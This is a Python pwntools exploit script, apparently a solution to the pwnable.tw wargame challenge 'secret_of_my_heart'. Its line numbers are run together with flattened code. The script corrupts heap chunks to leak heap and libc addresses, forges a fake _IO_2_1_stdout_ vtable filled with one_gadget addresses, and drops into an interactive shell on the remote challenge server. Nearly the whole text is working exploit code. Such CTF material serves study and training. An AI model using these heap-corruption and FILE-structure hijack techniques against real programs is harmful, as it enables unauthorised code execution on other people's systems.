1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 0 if local: cn = process('./secret_of_my_heart' ) bin = ELF('./secret_of_my_heart' ) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' ) else : cn = remote('chall.pwnable.tw' , 10302 ) bin = ELF('./secret_of_my_heart' ) libc = ELF('./libc_64.so.6' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def add (Len,name,con ): cn.recvuntil('Your choice :' ) cn.sendline('1' ) cn.recvuntil('Size of heart :' ) cn.sendline(str (Len)) cn.recvuntil('Name of heart :' ) cn.send(name) cn.recvuntil('secret of my heart :' ) cn.send(con) def show (idx ): cn.recvuntil('Your choice :' ) cn.sendline('2' ) cn.recvuntil('Index :' ) cn.sendline(str (idx)) def dele (idx ): cn.recvuntil('Your choice :' ) cn.sendline('3' ) cn.recvuntil('Index :' ) cn.sendline(str (idx)) add(0x68 ,'A' *0x20 ,'a' *0x27 ) show(0 ) cn.recvuntil('A' *0x20 ) heap = u64(cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ))-0x10 success('heap: ' +hex (heap)) add(0xf8 ,'B' *0x20 ,'b' *0x20 ) add(0x68 ,'C' *0x20 ,'c' *0x20 ) dele(0 ) pay = p64(heap+0x20 -0x18 )+p64(heap+0x20 -0x10 )+p64(heap)+'a' *0x48 + p64(0x70 ) add(0x68 ,'A' *0x20 ,pay) dele(1 ) show(0 ) cn.recvuntil('Secret : ' ) if local: libc.address = u64(cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ))-88 -0x3c4b20 else : libc.address = u64(cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ))-88 -0x3c3b20 success('libc: ' +hex (libc.address)) add(0x68 ,'D' *0x20 ,'d' *0x27 ) add(0xf8 ,'B' *0x20 ,'b' *0x20 ) ''' 1/0 3 2 4 ''' add(0x68 ,'E' *0x20 ,'e' *0x20 ) dele(0 ) dele(2 ) dele(1 ) _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_' ] success('_IO_2_1_stdout_: ' +hex (_IO_2_1_stdout_)) if local: onegadget=libc.address + 0xf1147 else : onegadget=libc.address + 0xf0567 success('onegadget: ' +hex (onegadget)) pay = p64(_IO_2_1_stdout_+0x90 +13 ) add(0x68 ,'A' *0x20 ,pay) add(0x68 ,'A' *0x20 ,p64(onegadget)*12 ) add(0x68 ,'A' *0x20 ,'a' *0x20 ) jumps_addr = heap + 0x180 pay = '\x00' *0x13 + '\xff\xff\xff\xff' + '\x00' *(9 +8 +3 ) pay += p64(jumps_addr) add(0x68 ,'A' *0x20 ,pay) cn.interactive()